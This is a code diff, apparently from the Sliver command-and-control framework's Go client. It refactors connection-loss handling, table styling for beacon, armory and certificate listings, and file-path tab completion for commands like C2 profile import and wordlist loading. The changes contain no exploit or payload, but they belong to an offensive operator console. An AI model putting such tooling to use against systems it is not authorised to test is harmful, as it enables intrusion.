err := forms.Select("Select a server:", keys, &selection)
|
err := forms.Select("Select a server:", keys, &selection)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err.Error())
|
fmt.Println(err.Error())
|
||||||
return nil
|
return "", nil
|
||||||
}
|
}
|
||||||
|
|
||||||
return configs[selection]
|
return selection, configs[selection]
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/connectivity"
|
||||||
|
)
|
||||||
|
|
||||||
|
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||||
|
if ln == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
currentState := ln.GetState()
|
||||||
|
// currentState should be "Ready" when the connection is established.
|
||||||
|
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||||
|
newState := ln.GetState()
|
||||||
|
// newState will be "Idle" if the connection is lost.
|
||||||
|
if newState == connectivity.Idle {
|
||||||
|
fmt.Println("\nLost connection to server. Exiting now.")
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+4
-29
@@ -19,9 +19,7 @@ package cli
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/assets"
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
"github.com/bishopfox/sliver/client/command"
|
"github.com/bishopfox/sliver/client/command"
|
||||||
@@ -30,7 +28,6 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"google.golang.org/grpc"
|
"google.golang.org/grpc"
|
||||||
"google.golang.org/grpc/connectivity"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// consoleCmd generates the console with required pre/post runners.
|
// consoleCmd generates the console with required pre/post runners.
|
||||||
@@ -46,8 +43,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||||
var ln *grpc.ClientConn
|
|
||||||
|
|
||||||
pre = func(cmd *cobra.Command, _ []string) error {
|
pre = func(cmd *cobra.Command, _ []string) error {
|
||||||
|
|
||||||
configs := assets.GetConfigs()
|
configs := assets.GetConfigs()
|
||||||
@@ -55,7 +50,7 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
|||||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
config := selectConfig()
|
configKey, config := selectConfig()
|
||||||
if config == nil {
|
if config == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -72,40 +67,20 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
|||||||
}
|
}
|
||||||
|
|
||||||
var rpc rpcpb.SliverRPCClient
|
var rpc rpcpb.SliverRPCClient
|
||||||
|
var ln *grpc.ClientConn
|
||||||
|
|
||||||
rpc, ln, err = transport.MTLSConnect(config)
|
rpc, ln, err = transport.MTLSConnect(config)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("Connection to server failed %s", err)
|
fmt.Printf("Connection to server failed %s", err)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
||||||
// Wait for any connection state changes and exit if the connection is lost.
|
|
||||||
go handleConnectionLost(ln)
|
|
||||||
|
|
||||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close the RPC connection once exiting
|
// Close the RPC connection once exiting
|
||||||
post = func(_ *cobra.Command, _ []string) error {
|
post = func(_ *cobra.Command, _ []string) error {
|
||||||
if ln != nil {
|
return con.CloseConnection()
|
||||||
return ln.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return pre, post
|
return pre, post
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
|
||||||
currentState := ln.GetState()
|
|
||||||
// currentState should be "Ready" when the connection is established.
|
|
||||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
|
||||||
newState := ln.GetState()
|
|
||||||
// newState will be "Idle" if the connection is lost.
|
|
||||||
if newState == connectivity.Idle {
|
|
||||||
fmt.Println("\nLost connection to server. Exiting now.")
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package alias
|
package alias
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
aliasCmd.AddCommand(aliasLoadCmd)
|
aliasCmd.AddCommand(aliasLoadCmd)
|
||||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
|
||||||
|
|
||||||
aliasInstallCmd := &cobra.Command{
|
aliasInstallCmd := &cobra.Command{
|
||||||
Use: consts.InstallStr + " [ALIAS]",
|
Use: consts.InstallStr + " [ALIAS]",
|
||||||
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
}
|
}
|
||||||
aliasCmd.AddCommand(aliasInstallCmd)
|
aliasCmd.AddCommand(aliasInstallCmd)
|
||||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
|
||||||
|
|
||||||
aliasRemove := &cobra.Command{
|
aliasRemove := &cobra.Command{
|
||||||
Use: consts.RmStr + " [ALIAS]",
|
Use: consts.RmStr + " [ALIAS]",
|
||||||
|
|||||||
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
|
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Packages"))
|
||||||
|
|
||||||
urlMargin := 150 // Extra margin needed to show URL column
|
urlMargin := 150 // Extra margin needed to show URL column
|
||||||
|
|
||||||
@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
|
|
||||||
rows := []table.Row{}
|
rows := []table.Row{}
|
||||||
for _, pkg := range entries {
|
for _, pkg := range entries {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||||
rows = append(rows, table.Row{
|
rows = append(rows, table.Row{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
style.Render(pkg.ArmoryName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
style.Render(pkg.CommandName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
style.Render(pkg.Version),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
style.Render(pkg.Type),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
style.Render(pkg.Help),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
style.Render(pkg.URL),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
rows = append(rows, table.Row{
|
rows = append(rows, table.Row{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
style.Render(pkg.ArmoryName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
style.Render(pkg.CommandName),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
style.Render(pkg.Version),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
style.Render(pkg.Type),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
style.Render(pkg.Help),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
|||||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Bundles"))
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"Armory Name",
|
"Armory Name",
|
||||||
"Name",
|
"Name",
|
||||||
|
|||||||
@@ -257,7 +257,7 @@ func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdent
|
|||||||
if len(extensionUpdates) != 1 {
|
if len(extensionUpdates) != 1 {
|
||||||
extensionSuffix = "s"
|
extensionSuffix = "s"
|
||||||
}
|
}
|
||||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
tw.SetTitle(console.StyleBold.Render(fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix)))
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"Package Name",
|
"Package Name",
|
||||||
"Package Type",
|
"Package Type",
|
||||||
|
|||||||
@@ -178,10 +178,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, beacon := range beacons {
|
for _, beacon := range beacons {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if beacon.Integrity == "" {
|
if beacon.Integrity == "" {
|
||||||
beacon.Integrity = "-"
|
beacon.Integrity = "-"
|
||||||
@@ -192,34 +192,34 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
|||||||
|
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
style.Render(beacon.Name),
|
||||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
style.Render(fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
style.Render(beacon.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
style.Render(beacon.RemoteAddress),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
style.Render(beacon.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
|
||||||
}
|
}
|
||||||
|
|
||||||
if windowsBeaconInList {
|
if windowsBeaconInList {
|
||||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
|
||||||
}
|
}
|
||||||
|
|
||||||
rowEntries = append(rowEntries, []string{
|
rowEntries = append(rowEntries, []string{
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
style.Render(beacon.Locale),
|
||||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||||
}...)
|
}...)
|
||||||
} else {
|
} else {
|
||||||
rowEntries = []string{
|
rowEntries = []string{
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
style.Render(beacon.Name),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
style.Render(beacon.Transport),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
style.Render(beacon.Hostname),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package c2profiles
|
package c2profiles
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/generate"
|
"github.com/bishopfox/sliver/client/command/generate"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
|
||||||
|
|
||||||
exportC2ProfileCmd := &cobra.Command{
|
exportC2ProfileCmd := &cobra.Command{
|
||||||
Use: consts.ExportC2ProfileStr,
|
Use: consts.ExportC2ProfileStr,
|
||||||
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
|
||||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||||
})
|
})
|
||||||
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
|
||||||
|
|
||||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package certificates
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
@@ -58,28 +57,28 @@ func printCertificateAuthorityInfo(con *console.SliverClient, authData []*client
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, authority := range authData {
|
for _, authority := range authData {
|
||||||
rowColor := console.Normal
|
rowStyle := console.StyleNormal
|
||||||
|
|
||||||
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
rowColor = checkCertExpiry(expiry)
|
rowStyle = checkCertExpiry(expiry)
|
||||||
}
|
}
|
||||||
|
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
|
rowStyle.Render(authority.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
|
rowStyle.Render(authority.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CreationTime),
|
rowStyle.Render(authority.CreationTime),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.Type),
|
rowStyle.Render(authority.Type),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.KeyAlgorithm),
|
rowStyle.Render(authority.KeyAlgorithm),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityStart),
|
rowStyle.Render(authority.ValidityStart),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
|
rowStyle.Render(authority.ValidityExpiry),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ID),
|
rowStyle.Render(authority.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.CN),
|
rowStyle.Render(authority.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, authority.ValidityExpiry),
|
rowStyle.Render(authority.ValidityExpiry),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package certificates
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
@@ -95,22 +94,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
|||||||
printCertificateInfo(con, certificateInfo.Info)
|
printCertificateInfo(con, certificateInfo.Info)
|
||||||
}
|
}
|
||||||
|
|
||||||
func checkCertExpiry(expiryTime time.Time) string {
|
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
|
||||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||||
return console.Bold + console.Red
|
return console.StyleBoldRed
|
||||||
}
|
}
|
||||||
|
|
||||||
// One week is 168 hours - this is bad
|
// One week is 168 hours - this is bad
|
||||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||||
return console.Bold + console.Red
|
return console.StyleBoldRed
|
||||||
}
|
}
|
||||||
|
|
||||||
// One month is approximately 730 hours - this is a warning
|
// One month is approximately 730 hours - this is a warning
|
||||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||||
return console.Bold + console.Orange
|
return console.StyleBoldOrange
|
||||||
}
|
}
|
||||||
|
|
||||||
return console.Normal
|
return console.StyleNormal
|
||||||
}
|
}
|
||||||
|
|
||||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||||
@@ -148,28 +147,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, cert := range certData {
|
for _, cert := range certData {
|
||||||
rowColor := console.Normal
|
rowStyle := console.StyleNormal
|
||||||
|
|
||||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||||
// This should not error out, but if it does, the row will not be colored
|
// This should not error out, but if it does, the row will not be colored
|
||||||
if err == nil {
|
if err == nil {
|
||||||
rowColor = checkCertExpiry(expiry)
|
rowStyle = checkCertExpiry(expiry)
|
||||||
}
|
}
|
||||||
if wideTermWidth {
|
if wideTermWidth {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
rowStyle.Render(cert.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
rowStyle.Render(cert.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
rowStyle.Render(cert.CreationTime),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
rowStyle.Render(cert.Type),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
rowStyle.Render(cert.KeyAlgorithm),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
rowStyle.Render(cert.ValidityStart),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
rowStyle.Render(cert.ValidityExpiry),
|
||||||
})
|
})
|
||||||
} else {
|
} else {
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
rowStyle.Render(cert.ID),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
rowStyle.Render(cert.CN),
|
||||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
rowStyle.Render(cert.ValidityExpiry),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
|
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
)
|
)
|
||||||
|
|
||||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||||
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
|
|||||||
}).Invoke(c).Prefix(prefix).ToA()
|
}).Invoke(c).Prefix(prefix).ToA()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// LocalFilePathCompleter completes local file and directory paths.
|
||||||
|
func LocalFilePathCompleter() carapace.Action {
|
||||||
|
return carapace.ActionFiles().Tag("local file path")
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
|
||||||
|
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
|
||||||
|
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
|
||||||
|
for _, name := range names {
|
||||||
|
RegisterLocalFilePathFlagCompletion(cmd, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
|
||||||
|
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
|
||||||
|
if cmd == nil || index < 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.ValidArgsFunction != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
if len(args) == index {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
}
|
||||||
|
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
|
||||||
|
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd.ValidArgsFunction != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||||
|
return nil, cobra.ShellCompDirectiveDefault
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package crack
|
package crack
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -61,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
